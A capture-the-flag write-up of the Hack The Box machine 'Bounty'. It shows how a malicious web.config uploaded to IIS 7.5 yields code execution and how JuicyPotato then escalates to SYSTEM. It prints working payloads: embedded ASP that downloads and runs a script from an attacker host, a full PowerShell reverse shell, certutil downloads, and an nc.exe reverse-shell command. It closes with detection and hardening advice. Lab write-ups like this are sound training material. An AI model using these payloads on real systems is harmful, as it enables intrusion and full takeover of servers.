Bounty
Executive summary — Bounty is an Easy Windows box with a very elegant trick: an IIS 7.5 upload form filters
.aspx, but allows uploading aweb.configthat reconfigures the server itself to treat.configas an executable script — and the same file embeds classic ASP code that downloads and launches a reverse shell, giving RCE asmerlin. That service account holdsSeImpersonatePrivilege, so we escalate toSYSTEMby abusing a privileged COM service with JuicyPotato. Path: web.config → RCE → SeImpersonate → JuicyPotato → SYSTEM.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[80] IIS 7.5 → /transfer.aspx (file upload)
│ filters .aspx, but allows uploading web.config → embedded ASP → RCE
▼
[SHELL] bounty\merlin (user.txt)
│ whoami /priv → SeImpersonatePrivilege
▼
[SYSTEM] JuicyPotato (SeImpersonate abuse)
1. Reconnaissance
Full port scan first, service enumeration second: on HTB Easy boxes the attack surface is usually small, and it pays off to rule out the rest quickly.
nmap -p- --min-rate 5000 -T4 <TARGET_IP>
nmap -p 80 -sC -sV <TARGET_IP>
80/tcp open http Microsoft IIS httpd 7.5
A single open port: 80/HTTP, served by IIS 7.5 with an ASP.NET backend. Confirms Windows, and that the entry point has to be the web application.
2. Web enumeration
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx
/transfer.aspx
/UploadedFiles/
/transfer.aspx is a file upload form and /UploadedFiles/ is the directory where uploaded files land, served directly by IIS. The form filters dangerous extensions: uploading a .aspx file directly is rejected.
3. Upload bypass — the web.config payload
The key idea: even though
.aspxis blocked, nothing stops us from uploading a file namedweb.config. That file is IIS's own native configuration file for the folder it sits in, and the server interprets it the moment it exists — the upload filter never needs to recognize it as "executable".
The uploaded web.config does two things at once. First, under <handlers>, it maps any request for *.config to the asp.dll processor — turning .config files in that folder into executable ASP scripts. Second, under <requestFiltering>, it removes the two default IIS protections that stop web.config from being served directly: it strips it from the blocked extensions list (fileExtensions) and from the hidden segments list (hiddenSegments). Net result: web.config itself becomes requestable and executable, just like an .asp file. Below the XML configuration, it embeds classic ASP in VBScript that uses WScript.Shell to spawn PowerShell and download a reverse shell:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
Set shell = Server.CreateObject("WScript.Shell")
shell.Run "cmd.exe /c powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8000/shell.ps1')"
%>
4. Reverse shell and triggering RCE
The downloaded reverse shell (shell.ps1) is a pure PowerShell TCP client: it opens a socket to our IP, forwards every command it receives to cmd /c, and sends the output back over the same socket.
$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER_IP>",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (cmd /c $data 2>&1 | Out-String);
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
We serve the script and set up the listener:
python3 -m http.server 8000
nc -lvnp 4444
We upload web.config through /transfer.aspx and trigger execution by simply visiting its path under /UploadedFiles/ — IIS processes it as ASP the moment it receives the request:
http://<TARGET_IP>/UploadedFiles/web.config
whoami → bounty\merlin
RCE confirmed as the merlin service account.
5. user.txt
user.txtis marked as a hidden file; a plaindirwon't list it —/ais needed to show hidden attributes.
cd C:\Users\merlin\Desktop
dir /a
type user.txt
6. Privilege escalation — SeImpersonate + JuicyPotato
We check the current token's privileges:
whoami /priv
SeImpersonatePrivilege Enabled
What it means:
SeImpersonatePrivilegelets you impersonate the security token of another process that authenticates to us. It's a common privilege on IIS/SQL/etc. service accounts, and practically a guaranteed path toSYSTEMvia the *Potato exploit family. JuicyPotato tricks a privileged COM service (running asSYSTEM) into authenticating to a local listener we control, then steals that token to launch an arbitrary process with it. Success depends on context — in particular, IIS running in 32-bit mode, as it does on this box.
We download the tools on Kali and serve them:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://github.com/int0x33/nc.exe/raw/master/nc.exe
python3 -m http.server 8000
We fetch them on the victim with certutil (no PowerShell IEX involved in this step, avoiding unnecessary AMSI exposure):
cd C:\Users\merlin\AppData\Local\Temp
certutil -urlcache -f http://<ATTACKER_IP>:8000/JuicyPotato.exe jp.exe
certutil -urlcache -f http://<ATTACKER_IP>:8000/nc.exe nc.exe
Listener, then run the exploit, spawning cmd.exe with the stolen token so it opens a reverse shell via nc.exe:
nc -lvnp 5555
.\jp.exe -l 5555 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\merlin\AppData\Local\Temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555" -t *
whoami → nt authority\system
7. root.txt
cd C:\Users\Administrator\Desktop
type root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | IIS 7.5 (upload at /transfer.aspx) | Extension filter bypassed by uploading a web.config that reconfigures IIS to execute .config as ASP | RCE as merlin |
| Post-exploitation | Windows (NTFS permissions) | user.txt flagged hidden, doesn't prevent reading it | User flag read |
| PrivEsc | Service account (32-bit IIS) | SeImpersonatePrivilege abused via JuicyPotato (COM hijacking) | SYSTEM |
Defender's view
Neither step on Bounty needs a CVE: both abuse features working as designed, so detection relies on behaviour rather than signatures.
Upload filter bypassed with web.config
How it shows up in logs / telemetry
- IIS W3C logs show a
POST /transfer.aspxfollowed by aGET /UploadedFiles/web.configthat returns200: a configuration file should never be requested, let alone served successfully. - Process creation telemetry (Sysmon 1 / Security 4688) shows
w3wp.exespawningcmd.exeor PowerShell, which is one of the most reliable web-shell indicators on Windows. - File integrity monitoring on the uploads folder sees a file named
web.configappear.
How to fix it
- Validate uploads against a strict allowlist of extensions and content types, and rename files server-side.
- Store uploads outside the web root, or remove script and execute permissions from the upload directory entirely.
- Lock the
handlerssection at server level (IIS feature delegation) so a directory-levelweb.configcannot change how files are executed.
SeImpersonatePrivilege abused with JuicyPotato
How it shows up in logs / telemetry
- A new process running as
SYSTEMwhose ancestry leads back to the IIS worker or themerlinaccount is a strong signal in EDR or Sysmon process trees. - Potato-style tools trigger local DCOM/COM activation and a short-lived local listener; unusual binaries dropped into writable folders such as
C:\Users\Publicor%TEMP%and executed by a service account are worth an alert.
How to fix it
- Treat
SeImpersonatePrivilegeas equivalent toSYSTEM: keep IIS application pools on their virtualApplicationPoolIdentityand never reuse a human account for a service. - Patch and modernise the OS (IIS 7.5 era hosts are long out of support); newer Windows builds changed the COM behaviour JuicyPotato relies on, although other Potato variants exist, so the real fix is denying the initial foothold.
Lessons learned
- Extension blacklists fail: blocking
.aspxisn't enough ifweb.configcan still be uploaded — it's just as executable as any script once IIS processes it. Use a strict whitelist and validate content, not just the extension. - Don't serve uploaded content from a folder that's both writable and execution-enabled. An uploads directory should deny script execution outright, including the server's own configuration files.
SeImpersonatePrivilegeon a service account is, in practice, a guaranteed escalation path via JuicyPotato/RoguePotato/PrintSpoofer. If the service doesn't need that privilege, revoke it.- JuicyPotato's success depends on context (typically a 32-bit IIS worker process); it's worth confirming the architecture before ruling the technique out.
- Always check
whoami /privright after landing a Windows shell — it saves time versus blindly trying kernel exploits. - A "hidden" file is not a security control:
dir /areveals it effortlessly. Don't rely on filesystem attributes to protect sensitive data.